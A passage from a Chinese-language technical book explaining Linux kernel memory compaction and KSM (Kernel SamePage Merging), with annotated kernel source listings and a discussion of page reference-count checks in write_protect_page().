第13~22行代码,too_many_isolated()如果判断当前临时从LRU链表分离出来的页面比较多,则最好睡眠等待100毫秒(congestion_wait())。如果迁移模式是异步(MIGRATE_ASYNC)的,则直接退出。

第28~87行代码中的for循环扫描pageblock去寻觅可以迁移的页。

第38行代码,如果该页还在伙伴系统中,那么该页不适合迁移,略过该页。通过page_order_unsafe()读取该页的order值,for循环可以直接略过这些页。

第46~54行代码,在LRU链表中的页面或balloon页面适合迁移,其他类型的页面将被略过。

第61~63行代码,之前已经排除了PageBuddy 和页不在LRU链表的情况,接下来剩下的页面是比较合适的候选者,但是还有一些特殊情况需要过滤掉。page_mapping()返回0,说明有可能是匿名页面。对于匿名页面来说,通常情况下page_count(page) = page_mapcount (page),即page->_count = page->_mapcount + 1。如果它们不相等,说明内核中有人偷偷使用了这个匿名页面,所以匿名页面也不适合迁移。

第65~74行代码,加锁zone->lru_lock,并且重新判断该页是否是LRU链表中的页。

第78行代码,__isolate_lru_page()分离ISOLATE_ASYNC_MIGRATE类型的页面。__isolate_lru_page()函数之前分析过,对于正在回写的页面是不合格的候选者,对于脏的页面,如果该页没有定义mapping->a_ops->migratepage()函数指针,那么也是不合格的候选者,另外还会对该页的page->_count引用计数加1并清PG_lru标志位。

第81行代码,把该页从LRU链表中删掉。

第83~86行代码,表示该页是一个合格的、可以迁移的页面,添加到cc-> migratelist链表中。

适合被内存规整迁移的页面总结如下。

继续来看compact_zone()函数。

第53行代码中的migrate_pages()是迁移页的核心函数,从cc->migratepages链表中摘取页,然后尝试去迁移页。compaction_alloc()从zone的末尾开始查找空闲页面,并把空闲页面添加到cc->freepages链表中。

migrate_pages()函数在页迁移一节中已经介绍,其中get_new_page函数指针指向compaction_alloc()函数,put_new_page函数指针指向compaction_free()函数,迁移模式为MIGRATE_ASYNC,reason为MR_COMPACTION。

static struct page *compaction_alloc(struct page *migratepage,
                       unsigned long data,
                       int **result)
{
     struct compact_control *cc = (struct compact_control *)data;
     struct page *freepage;

     if (list_empty(&cc->freepages)) {
            if (!cc->contended)
                  isolate_freepages(cc);

            if (list_empty(&cc->freepages))
                  return NULL;
     }

     freepage = list_entry(cc->freepages.next, struct page, lru);
     list_del(&freepage->lru);
     cc->nr_freepages--;

     return freepage;
}

上述内容在查找哪些页面适合迁移,compaction_alloc()函数是从zone尾部开始查找哪些页面是空闲页面,核心函数是isolate_freepages()函数,它与之前的isolate_migratepages()函数很相似,请读者自行阅读。compaction_alloc()函数最后会返回一个空闲的页面。

第58~63行代码,处理迁移页面失败的情况,没迁移成功的页面会放回到合适的LRU链表中。

系统长时间运行后,页面变得越来越分散,分配一大块连续的物理内存变得越来越难,但有时系统就是需要一大块连续的物理内存,这就是内存碎片化(memory fragmentation)带来的问题。内存碎片化是操作系统内存管理的一大难题,系统运行时间越长,则内存碎片化越严重,最直接的影响就是分配大块内存失败。

在Linux 2.6.24内核中集成了社区专家Mel Gorman的Anti-fragmentation patch[28],其核心思想是把内存页面按照可移动、可回收、不可移动等特性进行分类。可移动的页面通常是指用户态程序分配的内存,移动这些页面仅仅是修改页表映射关系,代价很低;可回收的页面是指不可以移动但可以释放的页面。按照这些类型来分类页面后,就容易释放出大块的连续物理内存。

内存规整机制归纳起来也比较简单,如图2.33所示。有两个方向的扫描者,一个是从zone头部向zone尾部方向扫描,查找哪些页面是可以迁移的;另一个是从zone尾部向zone头部方面扫描,查找哪些页面是空闲页面。当这两个扫描者在zone中间碰头时,或者已经满足分配大块内存的需求时(能分配出所需要的大块内存并且满足最低的水位要求),就可以退出扫描了。内存规整机制除了人为地主动触发以外,一般是在分配大块内存失败时,首先尝试内存规整机制去尝试整理出大块连续的物理内存,然后才调用直接内存回收机制(Direct Reclaim)。这好比旅行时发现购买了太多的东西,那么我们通常会重新规整行李箱,看是否能腾出空间来。

图2.33 内存规整示意图

自从内存规整机制加入内核之后一直饱受争议,一个最重要的问题就是效率。在LSFMM 2014[29]会议上,有不少人抱怨内存规整的效率太低、速度太慢,而且有bug不容易复现,需要特定的负载和特定的测试方法。

内存资源是计算机中比较宝贵的资源,在系统里的物理页面无时不刻不在循环着重新分配和释放,那么是否会有一些内存页面在它们生命周期里某个瞬间页面内容完全一致呢?

在阅读本节前请思考如下小问题。

    if (page_mapcount(page) + 1 + swapped != page_count(page)) {
         goto out_unlock;
    }

请问这个判断的依据是什么?

KSM[30]全称Kernel SamePage Merging,用于合并内容相同的页面。KSM的出现是为了优化虚拟化中产生的冗余页面,因为虚拟化的实际应用中在同一台宿主机上会有许多相同的操作系统和应用程序,那么许多内存页面的内容有可能都是相同的,因此它们可以被合并,从而释放内存供其他应用程序使用。

KSM允许合并同一个进程或不同进程之间内容相同的匿名页面,这对应用程序来说是不可见的。把这些相同的页面被合并成一个只读的页面,从而释放出来物理页面,当应用程序需要改变页面内容时,会发生写时复制(copy-on-write,COW)。

KSM在初始化时会创建一个名为“ksmd”的内核线程。

[mm/ksm.c]

0 static int __init ksm_init(void)
1 {
2    struct task_struct *ksm_thread;
3    int err;
4 
5    err = ksm_slab_init();
6    if (err)
7          goto out;
8 
9    ksm_thread = kthread_run(ksm_scan_thread, NULL, "ksmd");
10   err = sysfs_create_group(mm_kobj, &ksm_attr_group);
11   if (err) {
12         pr_err("ksm: register sysfs failed\n");
13         kthread_stop(ksm_thread);
14         goto out_free;
15   }
16   return 0;
17}

KSM只会处理通过madvise系统调用显式指定的用户进程空间内存,因此用户程序想使用这个功能就必须在分配内存时显式地调用“madvise(addr, length, MADV_MERGEA BLE)”,如果用户想在KSM中取消某一个用户进程地址空间的合并功能,也需要显式地调用“madvise(addr, length, MADV_UNMERGEABLE)”。

在Android系统中,在libc库(Android系统的libc库是bionic)中的mmap函数实现已经默认添加了此功能。

[bionic/libc/bionic/mmap.cpp]

0 static bool kernel_has_MADV_MERGEABLE = true;
1 
2 void* mmap64(void* addr, size_t size, int prot, int flags, int fd, off64_t offset) {
3   ...
4   bool is_private_anonymous = (flags & (MAP_PRIVATE | MAP_ANONYMOUS)) != 0;
5   void* result = __mmap2(addr, size, prot, flags, fd, offset >> MMAP2_SHIFT);
6   
7   if (result != MAP_FAILED && kernel_has_MADV_MERGEABLE && is_private_anonymous) {
8   
9      int rc = madvise(result, size, MADV_MERGEABLE);
10     if (rc == -1 && errno == EINVAL) {
11        kernel_has_MADV_MERGEABLE = false;
12     }
13   }
14
15   return result;
16}
17void* mmap(void* addr, size_t size, int prot, int flags, int fd, off_t offset) {
18   return mmap64(addr, size, prot, flags, fd, static_cast((unsigned long)offset));
19}
20

第7~13行代码,判断mmap分配的内存,即进程用户空间地址是否私有映射(MAP_PRIVATE)或者匿名映射(MAP_ANONYMOUS),如果是,则显式地调用madvise系统把进程用户空间地址区间添加到Linux内核KSM系统中。

[madvise()->ksm_madvise()->__ksm_enter()]

0 int __ksm_enter(struct mm_struct *mm)
1 {
2    struct mm_slot *mm_slot;
3    int needs_wakeup;
4 
5    mm_slot = alloc_mm_slot();
6    if (!mm_slot)
7         return -ENOMEM;
8         
9    needs_wakeup = list_empty(&ksm_mm_head.mm_list);
10
11   spin_lock(&ksm_mmlist_lock);
12   insert_to_mm_slots_hash(mm, mm_slot);
13     
14   if (ksm_run & KSM_RUN_UNMERGE)
15        list_add_tail(&mm_slot->mm_list, &ksm_mm_head.mm_list);
16   else
17        list_add_tail(&mm_slot->mm_list, &ksm_scan.mm_slot->mm_list);
18   spin_unlock(&ksm_mmlist_lock);
19
20   set_bit(MMF_VM_MERGEABLE, &mm->flags);
21   atomic_inc(&mm->mm_count);
22
23   if (needs_wakeup)
24        wake_up_interruptible(&ksm_thread_wait);
25
26   return 0;
27}

第5行代码,分配一个struct mm_slot数据结构。

第11行代码,添加管理ksm mmlist链表的spinlock锁。

第12行代码,把当前的mm数据结构添加到mm_slots_hash哈希表中。

第14~17行代码,把mm_slot添加到ksm_scan.mm_slot->mm_list链表中。

第20行代码,设置mm->flags中的MMF_VM_MERGEABLE标志位,表示这个进程已经添加到KSM系统中。

第23~24行代码,如果之前ksm_mm_head.mm_list链表为空,则唤醒ksmd内核线程。

[ksmd内核线程]

0 static int ksm_scan_thread(void *nothing)
1 {
2    set_freezable();
3    set_user_nice(current, 5);
4 
5    while (!kthread_should_stop()) {
6        mutex_lock(&ksm_thread_mutex);
7        if (ksmd_should_run())
8             ksm_do_scan(ksm_thread_pages_to_scan);
9        mutex_unlock(&ksm_thread_mutex);
10
11       try_to_freeze();
12
13       if (ksmd_should_run()) {
14            schedule_timeout_interruptible(
15                msecs_to_jiffies(ksm_thread_sleep_millisecs));
16       } else {
17            wait_event_freezable(ksm_thread_wait,
18                ksmd_should_run() || kthread_should_stop());
19       }
20   }
21   return 0;
22}

ksm_scan_thread()是ksmd内核线程的主干,每次会执行ksm_do_scan()函数去扫描和合并100个页面(见ksm_thread_pages_to_scan变量),然后睡眠等待20毫秒(见ksm_thread_sleep_millisecs变量),这两个参数可以在“/sys/kernel/mm/ksm”目录下的相关参数中去设置和修改。

[ksmd内核线程]

0 static void ksm_do_scan(unsigned int scan_npages)
1 {
2    struct rmap_item *rmap_item;
3    struct page *uninitialized_var(page);
4 
5    while (scan_npages-- && likely(!freezing(current))) {
6        cond_resched();
7        rmap_item = scan_get_next_rmap_item(&page);
8        if (!rmap_item)
9              return;
10       cmp_and_merge_page(page, rmap_item);
11       put_page(page);
12   }
13}

ksm_do_scan()函数在while循环中尝试去合并scan_npages个页面,scan_get_next_rmap_item()获取一个合适的匿名页面page,cmp_and_merge_page()会让page在KSM中的stable和unstable的两棵红黑树中查找是否有合适合并的对象,并且尝试去合并它们。下面首先来看KSM的核心数据结构。

[mm/ksm.c]

struct rmap_item {
     struct rmap_item *rmap_list;
     struct anon_vma *anon_vma;     /* when stable */
     struct mm_struct *mm;
     unsigned long address;    /* + low bits used for flags below */
     unsigned int oldchecksum; /* when unstable */
     union {
         struct rb_node node; /* when node of unstable tree */
         struct {     /* when listed from stable tree */
              struct stable_node *head;
              struct hlist_node hlist;
         };
     };
};

struct mm_slot {
     struct hlist_node link;
     struct list_head mm_list;
     struct rmap_item *rmap_list;
     struct mm_struct *mm;
};

struct ksm_scan {
     struct mm_slot *mm_slot;
     unsigned long address;
     struct rmap_item **rmap_list;
     unsigned long seqnr;
};

rmap_item数据结构描述一个虚拟地址反向映射的条目(item)。

mm_slot数据结构描述添加到KSM系统中将要被扫描的进程mm_struct数据结构。

ksm_scan数据结构用于表示当前扫描的状态。

[mm/ksm.c]

static struct mm_slot ksm_mm_head = {
     .mm_list = LIST_HEAD_INIT(ksm_mm_head.mm_list),
};
static struct ksm_scan ksm_scan = {
     .mm_slot = &ksm_mm_head,
};

ksm_mm_head是mm_slot链表的头。ksm_scan是静态全局的数据结构,用于描述当前扫描的mm_slot。

下面来看ksm_do_scan()中scan_get_next_rmap_item()函数的实现。

[ksm_do_scan()->scan_get_next_rmap_item()]

0  static struct rmap_item *scan_get_next_rmap_item(struct page **page)
1  {
2   struct mm_struct *mm;
3   struct mm_slot *slot;
4   struct vm_area_struct *vma;
5   struct rmap_item *rmap_item;
6   int nid;
7  
8   if (list_empty(&ksm_mm_head.mm_list))
9          return NULL;
10 
11  slot = ksm_scan.mm_slot;
12  if (slot == &ksm_mm_head) {
13        lru_add_drain_all();
14        root_unstable_tree = RB_ROOT;
15 
16        spin_lock(&ksm_mmlist_lock);
17        slot = list_entry(slot->mm_list.next, struct mm_slot, mm_list);
18        ksm_scan.mm_slot = slot;
19        spin_unlock(&ksm_mmlist_lock);
20           
21        if (slot == &ksm_mm_head)
22              return NULL;
23 next_mm:
24        ksm_scan.address = 0;
25        ksm_scan.rmap_list = &slot->rmap_list;
26  }
27 
28  mm = slot->mm;
29  down_read(&mm->mmap_sem);
30  if (ksm_test_exit(mm))
31        vma = NULL;
32  else
33        vma = find_vma(mm, ksm_scan.address);
34 
35  for (; vma; vma = vma->vm_next) {
36        if (!(vma->vm_flags & VM_MERGEABLE))
37              continue;
38        if (ksm_scan.address < vma->vm_start)
39              ksm_scan.address = vma->vm_start;
40        if (!vma->anon_vma)
41              ksm_scan.address = vma->vm_end;
42 
43        while (ksm_scan.address < vma->vm_end) {
44              if (ksm_test_exit(mm))
45                    break;
46              *page = follow_page(vma, ksm_scan.address, FOLL_GET);
47              if (IS_ERR_OR_NULL(*page)) {
48                    ksm_scan.address += PAGE_SIZE;
49                    cond_resched();
50                    continue;
51              }
52              if (PageAnon(*page) {
53                    flush_anon_page(vma, *page, ksm_scan.address);
54                    flush_dcache_page(*page);
55                    rmap_item = get_next_rmap_item(slot,
56                       ksm_scan.rmap_list, ksm_scan.address);
57                    if (rmap_item) {
58                       ksm_scan.rmap_list =
59                               &rmap_item->rmap_list;
60                       ksm_scan.address += PAGE_SIZE;
61                    } else
62                       put_page(*page);
63                    up_read(&mm->mmap_sem);
64                    return rmap_item;
65              }
66              put_page(*page);
67              ksm_scan.address += PAGE_SIZE;
68              cond_resched();
69        }
70  }
71 
72  if (ksm_test_exit(mm)) {
73        ksm_scan.address = 0;
74        ksm_scan.rmap_list = &slot->rmap_list;
75  }
76  /*
77   * Nuke all the rmap_items that are above this current rmap:
78   * because there were no VM_MERGEABLE vmas with such addresses.
79   */
80  remove_trailing_rmap_items(slot, ksm_scan.rmap_list);
81 
82  spin_lock(&ksm_mmlist_lock);
83  ksm_scan.mm_slot = list_entry(slot->mm_list.next,
84                       struct mm_slot, mm_list);
85  if (ksm_scan.address == 0) {
86        hash_del(&slot->link);
87        list_del(&slot->mm_list);
88        spin_unlock(&ksm_mmlist_lock);
89 
90        free_mm_slot(slot);
91        clear_bit(MMF_VM_MERGEABLE, &mm->flags);
92        up_read(&mm->mmap_sem);
93        mmdrop(mm);
94  } else {
95        spin_unlock(&ksm_mmlist_lock);
96        up_read(&mm->mmap_sem);
97  }
98 
99  /* Repeat until we've completed scanning the whole list */
100 slot = ksm_scan.mm_slot;
101 if (slot != &ksm_mm_head)
102       goto next_mm;
103
104 ksm_scan.seqnr++;
105 return NULL;
106}

第8行代码,ksm_mm_head链表为空,则不进行扫描。

第11~26行代码,ksmd第一次跑的情况,初始化ksm_scan数据结构中的成员ksm_scan.mm_slot、ksm_scan.address和ksm_scan.rmap_list。

第28~70行代码,扫描当前slot对应的用户进程中的所有VMAs,寻找一个合适的匿名页面。

第33行代码,因为ksm_scan.address刚初始化时为0,所以这里会找到这个用户进程中的第一个VMA。

第35行代码,for循环遍历所有的VMA。

第43~69行代码,扫描VMA中所有的虚拟页面,follow_page()函数从虚拟地址开始找回normal mapping页面的struct page数据结构,KSM只会处理匿名页面的情况。

第52行代码,使用PageAnon()来判断该页是否为匿名页面。

第53~54行代码,冲刷该页对应的cache。get_next_rmap_item()去找mm_slot->rmap_list链表上是否有该虚拟地址对应的rmap_item,没找到就新建一个。

第58行代码,ksm_scan.rmap_list指向刚找到或者新建的rmap_item,方便后续的扫描。找到合适的匿名页面后,释放mm->mmap_sem信号量,这个信号量是在扫描VMA时加的,然后返回该页struct page数据结构。

第72行代码,运行到这里说明for循环里扫描该进程所有的VMA都没找到合适的匿名页面,因为如果找到一个合适的匿名页面是会返回rmap_item的。如果被扫描的进程已经被销毁了(mm->mm_users = 0),那么设置ksm_scan.address = 0,第85~93行代码会处理这个情况。

第80行代码,在该进程中没找到合适的匿名页面时,那么对应的rmap_item已经没有用处为了避免占用内存空间,直接全部删掉。

第83行代码,取下一个mm_slot,这里操作了mm_slot链表,所以用一个spinlock锁ksm_mmlist_lock来保护链表。

第85~93行代码,处理该进程被销毁的情况,把mm_slot从ksm_mm_head链表删除,释放mm_slot数据结构,清空mm->flags中的MMF_VM_MERGEABLE标志位。

第100~102行代码,如果没有扫描完一轮所有的mm_slot,那就继续扫描下一个mm_slot。

第104行代码,如果扫描完一轮mm_slot,则增加ksm_scan.seqnr计数。

下面回到ksm_do_scan()函数中的cmp_and_merge_page()函数。

[ksm_do_scan()->cmp_and_merge_page()]

0 static void cmp_and_merge_page(struct page *page, struct rmap_item *rmap_item)
1 {
2   struct rmap_item *tree_rmap_item;
3   struct page *tree_page = NULL;
4   struct stable_node *stable_node;
5   struct page *kpage;
6   unsigned int checksum;
7   int err;
8 
9   stable_node = page_stable_node(page);
10
11  /* We first start with searching the page inside the stable tree */
12  kpage = stable_tree_search(page);
13  if (kpage == page && rmap_item->head == stable_node) {
14        put_page(kpage);
15        return;
16  }
17
18  remove_rmap_item_from_tree(rmap_item);
19
20  if (kpage) {
21        err = try_to_merge_with_ksm_page(rmap_item, page, kpage);
22        if (!err) {
23              lock_page(kpage);
24              stable_tree_append(rmap_item, page_stable_node(kpage));
25              unlock_page(kpage);
26        }
27        put_page(kpage);
28        return;
29  }
30
31  checksum = calc_checksum(page);
32  if (rmap_item->oldchecksum != checksum) {
33        rmap_item->oldchecksum = checksum;
34        return;
35  }
36
37  tree_rmap_item =
38        unstable_tree_search_insert(rmap_item, page, &tree_page);
39  if (tree_rmap_item) {
40        kpage = try_to_merge_two_pages(rmap_item, page,
41                        tree_rmap_item, tree_page);
42        put_page(tree_page);
43        if (kpage) {
44             lock_page(kpage);
45             stable_node = stable_tree_insert(kpage);
46             if (stable_node) {
47                   stable_tree_append(tree_rmap_item, stable_node);
48                   stable_tree_append(rmap_item, stable_node);
49             }
50             unlock_page(kpage);
51             if (!stable_node) {
52                   break_cow(tree_rmap_item);
53                   break_cow(rmap_item);
54             }
55        }
56  }
57}

cmp_and_merge_page()函数有两个参数,page表示刚才扫描mm_slot时找到的一个合格的匿名页面,rmap_item表示该page对应的rmap_item数据结构。

第9行代码,如果这个页面是stable_node,则page_stable_node()返回这个page对应的stable_node,否则返回NULL。

第12行代码,stable_tree_search()函数在stable红黑树中查找页面内容和page相同的stable页。

第13行代码,如果找到的stable页kpage和page是同一个页面,说明该页已经是KSM页面,不需要继续处理,直接返回。put_page()减少_count引用计数,注意page在scan_get_next_rmap_item()->follow_page()时给该页增加了_count引用计数。

第20~28行代码,如果在stable红黑树中找到一个页面内容相同的节点,那么调用try_to_merge_with_ksm_page()来尝试合并这个页面到节点上。合并成功后,stable_tree_append() 会把rmap_item添加到stable_node->hlist哈希链表上。

第31~35行代码,若在stable红黑树中没能找到和page内容相同的节点,则重新计算该页的校验值。如果校验值发生变化,说明该页面的内容被频繁修改,这种页面不适合添加到unstable红黑树中。

第37行代码,unstable_tree_search_insert()搜索unstable红黑树中是否有和该页内容相同的节点。

第39~56行代码,若在unstable红黑树中能找到页面内容相同的节点tree_rmap_item和页面tree_page,那么调用try_to_merge_two_pages()去尝试合并该页page和tree_page成为一个KSM页面kpage。stable_tree_insert()会把kpage添加到stable红黑树中,创建一个新的stable节点。stable_tree_append()把tree_rmap_item和rmap_item添加到stable节点的哈希链表中,并更新统计计数ksm_pages_sharing和ksm_pages_shared。

第51~54行代码,如果stable节点插入到stable红黑树失败,那么调用break_cow()主动触发一个缺页中断来分离这个ksm页面。

回到cmp_and_merge_page()函数,首先来看第12行代码中的stable_tree_search()函数。

[ksm_do_scan()->cmp_and_merge_page()->stable_tree_search()]

0 static struct page *stable_tree_search(struct page *page)
1 {
2    int nid;
3    struct rb_root *root;
4    struct rb_node **new;
5    struct rb_node *parent;
6    struct stable_node *stable_node;
7    struct stable_node *page_node;
8 
9    page_node = page_stable_node(page);
10   if (page_node) {
11        /* ksm page forked */
12        get_page(page);
13        return page;
14   }
15     
16   root = root_stable_tree;
17again:
18   new = &root->rb_node;
19   parent = NULL;
20
21   while (*new) {
22        struct page *tree_page;
23        int ret;
24
25        cond_resched();
26        stable_node = rb_entry(*new, struct stable_node, node);
27        tree_page = get_ksm_page(stable_node, false);
28        if (!tree_page)
29              return NULL;
30
31        ret = memcmp_pages(page, tree_page);
32        put_page(tree_page);
33
34        parent = *new;
35        if (ret < 0)
36              new = &parent->rb_left;
37        else if (ret > 0)
38              new = &parent->rb_right;
39        else {
40              tree_page = get_ksm_page(stable_node, true);
41              if (tree_page) {
42                    unlock_page(tree_page);
43                    return tree_page;
44              }
45              return NULL;
46        }
47   }
48
49   if (!page_node)
50         return NULL;
51}

stable_tree_search()函数会搜索stable红黑树并查找是否有和page页面内容一致的节点。

第9~14行代码,如果page已经是stable page,那不需要搜索了。

从第16行代码开始搜索stable红黑树,rb_entry()取出一个节点元素stable_node,get_ksm_page()函数把对应的stable节点转换为struct page数据结构。stable节点中有一个成员kpfn存放着页帧号,通过页帧号可以求出对应的page数据结构tree_page,注意这个函数会增加该节点tree_page的_count引用计数。

第31行代码,通过memcmp_pages()来对比page和tree_page的内容是否一致[31]

第32行代码,调用put_page()来减少tree_page的_count引用计数,之前get_ksm_page()对该页增加了引用计数。如果不一致,则继续搜索红黑树的叶节点。

第40行代码,page和tree_page内容一致,重新用get_ksm_page()增加tree_page的引用计数,其实是让页面迁移模块(page migration)知道这里在使用这个页面,最后返回tree_page。

stable_tree_search()函数找到页面内容相同的ksm页后,下面来看cmp_and_merge_page()函数第21行代码中的try_to_merge_with_ksm_page()是如何合并page页面到ksm页面的。

[ksm_do_scan()->cmp_and_merge_page()->try_to_merge_with_ksm_page()]

0 static int try_to_merge_with_ksm_page(struct rmap_item *rmap_item,
1                      struct page *page, struct page *kpage)
2 {
3    struct mm_struct *mm = rmap_item->mm;
4    struct vm_area_struct *vma;
5    int err = -EFAULT;
6 
7    down_read(&mm->mmap_sem);
8    if (ksm_test_exit(mm))
9          goto out;
10   vma = find_vma(mm, rmap_item->address);
11   if (!vma || vma->vm_start > rmap_item->address)
12         goto out;
13
14   err = try_to_merge_one_page(vma, page, kpage);
15   if (err)
16         goto out;
17
18   /* Unstable nid is in union with stable anon_vma: remove first */
19   remove_rmap_item_from_tree(rmap_item);
20
21   /* Must get reference to anon_vma while still holding mmap_sem */
22   rmap_item->anon_vma = vma->anon_vma;
23   get_anon_vma(vma->anon_vma);
24out:
25   up_read(&mm->mmap_sem);
26   return err;
27}

try_to_merge_with_ksm_page()函数中参数page是候选页,rmap_item是候选页对应的rmap_item结构,kpage是stable树中的KSM页面,尝试把候选页page合并到kpage中。

第7行代码,接下来需要操作VMA,因此加一个mm->mmap_sem读者锁。

第10行代码,根据虚拟地址来找到对应的VMA。

第14行代码,调用try_to_merge_one_page(),尝试合并page到kpage中。

第22行代码,rmap_item->anon_vma指向VMA对应的anon_vma数据结构。

第23行代码,增加anon_vma->refcount的引用计数,防止anon_vma被释放。

第25行代码,释放mm->mmap_sem的读者锁。

接下来看try_to_merge_one_page()函数的实现。

[ksm_do_scan()->cmp_and_merge_page()->try_to_merge_with_ksm_page()->try_to_ merge_one_page()]

0 static int try_to_merge_one_page(struct vm_area_struct *vma,
1                   struct page *page, struct page *kpage)
2 {
3    pte_t orig_pte = __pte(0);
4    int err = -EFAULT;
5 
6    if (page == kpage)            /* ksm page forked */
7         return 0;
8 
9    if (!(vma->vm_flags & VM_MERGEABLE))
10        goto out;
11   if (!PageAnon(page))
12        goto out;
13
14   if (!trylock_page(page))
15        goto out;
16
17   if (write_protect_page(vma, page, &orig_pte) == 0) {
18        if (!kpage) {
19             set_page_stable_node(page, NULL);
20             mark_page_accessed(page);
21             err = 0;
22        } else if (pages_identical(page, kpage))
23             err = replace_page(vma, page, kpage, orig_pte);
24   }
25     
26   unlock_page(page);
27out:
28   return err;
29}

try_to_merge_one_page()函数尝试合并page和kpage。

第6行代码,page和kpage是同一个page。

第9行代码,page对应的VMA属性是不可合并的,即没有包含VM_MERGEABLE标志位。

第11行代码,剔除不是匿名页面的部分。

第14行代码,这里为什么要使用trylock_page(page),而不使用lock_page(page)呢?我们需要申请该页的页面锁以方便在稍后的write_protect_page()中读取稳定的PageSwap Cache的状态,并且不需要在这里睡眠等待该页的页锁。如果该页被其他人加锁了,我们可以略过它,先处理其他页面。

第17行代码,write_protect_page()对该页映射VMA的pte进行写保护操作。

第18~22行代码,在与unstable树节点合并时,参数kpage有可能传过来NULL,这主要是设置page为stable节点,并且设置该页的活动情况(mark_page_accessed())。

第22~24行代码,pages_identical()再一次比较page和kpage内容是否一致。如果一致,则调用replace_page(),把该page对应的pte设置对应的kpage中。

下面来看write_protect_page()函数的实现。

[ksm_do_scan()->cmp_and_merge_page()->try_to_merge_with_ksm_page()->try_to_ merge_one_page()->write_protect_page()]
0 static int write_protect_page(struct vm_area_struct *vma, struct page *page,
1                  pte_t *orig_pte)
2 {
3    struct mm_struct *mm = vma->vm_mm;
4    unsigned long addr;
5    pte_t *ptep;
6    spinlock_t *ptl;
7    int swapped;
8    int err = -EFAULT;
9 
10   addr = page_address_in_vma(page, vma);
11   if (addr == -EFAULT)
12        goto out;
13     
14   ptep = page_check_address(page, mm, addr, &ptl, 0);
15   if (!ptep)
16        goto out_mn;
17
18   if (pte_write(*ptep) || pte_dirty(*ptep)) {
19        pte_t entry;
20
21        swapped = PageSwapCache(page);
22        flush_cache_page(vma, addr, page_to_pfn(page));
23          
24        entry = ptep_clear_flush_notify(vma, addr, ptep);
25
26        if (page_mapcount(page) + 1 + swapped != page_count(page)) {
27             set_pte_at(mm, addr, ptep, entry);
28             goto out_unlock;
29        }
30        if (pte_dirty(entry))
31             set_page_dirty(page);
32        entry = pte_mkclean(pte_wrprotect(entry));
33        set_pte_at_notify(mm, addr, ptep, entry);
34   }
35   *orig_pte = *ptep;
36   err = 0;
37
38out_unlock:
39   pte_unmap_unlock(ptep, ptl);
40out:
41   return err;
42}

第10行代码,通过VMA和page数据结构可以计算出page对应的虚拟地址address。page结构中有一个成员index,表示在VMA中的偏移量,由此可以得出虚拟地址。

第14行代码,由mm和虚拟地址address通过查询页表找到该地址对应的pte页表项。

第18~34行代码,因为该函数的作用是设置pte为写保护,因此对应pte页表项的属性是可写或者脏页面需要设置pte为写保护(对ARM处理器设置页表项的L_PTE_RDONLY比特位,对x86处理器清_PAGE_BIT_RW比特位),脏页面通过set_page_dirty()函数来调用该页的mapping->a_ops->set_page_dirty()函数并通知回写系统。第22行代码,刷新这个页面对应的cache。第24行代码,ptep_clear_flush_notify()清空pte页表项内容并冲刷相应的TLB,保证没有DIRECT_IO发生,函数返回该pte原来的内容。

第32~33行代码,新生成一个具有只读属性的PTE entry,并设置到硬件页面中。

为什么第26行代码中要有这样一个判断公式呢?(page_mapcount(page) + 1 + swapped ! = page_count(page))。

这是一个需要深入理解内存管理代码才能明确的问题,涉及到page的_count和_mapcount两个引用计数的巧妙运用。write_protect_page()函数本身的目的是让页面变成只读,后续就可以做比较和合并的工作了。要把一个页面变成只读需要满足如下两个条件。

第二个条件容易处理,难点在第一个条件上。一般来说,page的_count计数有如下4种来源。

假设没有其他内核路径操作该页面,并且该页面不在swap cache中,两个引用计数的关系为:

(page->_mapcount + 1) = page->_count

那么在write_protect_page()场景中,swapped指的是页面是否为swapcache,在add_to_swap()函数里增加_count计数,因此上面的公式可以变为:

(page->_mapcount + 1) + PageSwapCache() = page->_count

但是上述公式也有例外,例如该页面发生DIRECT_IO读写的情况,调用关系如下。

generic_file_direct_write()
-> mapping->a_ops->direct_IO()
   -> ext4_direct_IO()
      -> __blockdev_direct_IO()
       -> do_blockdev_direct_IO()
        -> do_direct_IO()
          -> dio_get_page()
           -> dio_refill_pages()
            -> iov_iter_get_pages()
             -> get_user_pages_fast()

最后调用get_user_pages_fast()函数来分配内存,它会让page->_count引用计数加1,因此在没有DIRECT_IO读写的情况下,上述公式变为:

(page->_mapcount + 1) + PageSwapCache() == page->_count

为什么第26行代码里会有 “+1”呢?因为该页面scan_get_next_rmap_item()函数通过follow_page()操作来获取struct page数据结构,这个过程会让page->_count引用计数加1,综上所述,在当前场景下判断没有DIRECT_IO读写的情况,公式变为:

(page->_mapcount + 1) + 1 + PageSwapCache() == page->_count

因此第26行代码判断不相等,说明有内核代码路径(例如DIRECT_IO读写)正在操作该页面,那么write_protect_page()函数只能返回错误。

下面来看replace_page()函数的实现。

[ksm_do_scan()->cmp_and_merge_page()->try_to_merge_with_ksm_page()->try_ to_merge_one_page()->replace_page()]

0 static int replace_page(struct vm_area_struct *vma, struct page *page,
1               struct page *kpage, pte_t orig_pte)
2 {
3    struct mm_struct *mm = vma->vm_mm;
4    pmd_t *pmd;
5    pte_t *ptep;
6    spinlock_t *ptl;
7    unsigned long addr;
8    int err = -EFAULT;
9 
10   addr = page_address_in_vma(page, vma);
11   if (addr == -EFAULT)
12        goto out;
13
14   pmd = mm_find_pmd(mm, addr);
15   if (!pmd)
16        goto out;
17          
18   ptep = pte_offset_map_lock(mm, pmd, addr, &ptl);
19   if (!pte_same(*ptep, orig_pte)) {
20         pte_unmap_unlock(ptep, ptl);
21         goto out;
22   }
23
24   get_page(kpage);
25   page_add_anon_rmap(kpage, vma, addr);
26
27   flush_cache_page(vma, addr, pte_pfn(*ptep));
28   ptep_clear_flush_notify(vma, addr, ptep);
29   set_pte_at_notify(mm, addr, ptep, mk_pte(kpage, vma->vm_page_prot));
30
31   page_remove_rmap(page);
32   if (!page_mapped(page))
33         try_to_free_swap(page);
34   put_page(page);
35
36   pte_unmap_unlock(ptep, ptl);
37   err = 0;
38out:
39   return err;
40}

replace_page()函数的参数,其中page是旧的page,kpage是stable树中找到的KSM页面,orig_pte用于判断在这期间page是否被修改了。简单来说就是使用kpage的pfn加上原来page的一些属性构成一个新的pte页表项,然后写入到原来page的pte页表项中,这样原来的page页对应的VMA用户地址空间就和kpage建立了映射关系。

第24行代码,给kpage增加在_count引用计数。

第25行代码,看起来page_add_anon_rmap()是要把kpage添加到RMAP系统中,因为kpage早已经添加到RMAP系统中,所以这里只是增加_mapcount计数。

第27~29行代码,冲刷addr和pte对应的cache,然后清空pte的内容和对应的TLB后,写入新的pte内容。

第31~34行代码,减少page的_mapcount和_count计数,并且删掉该page在swap分区的swap space。

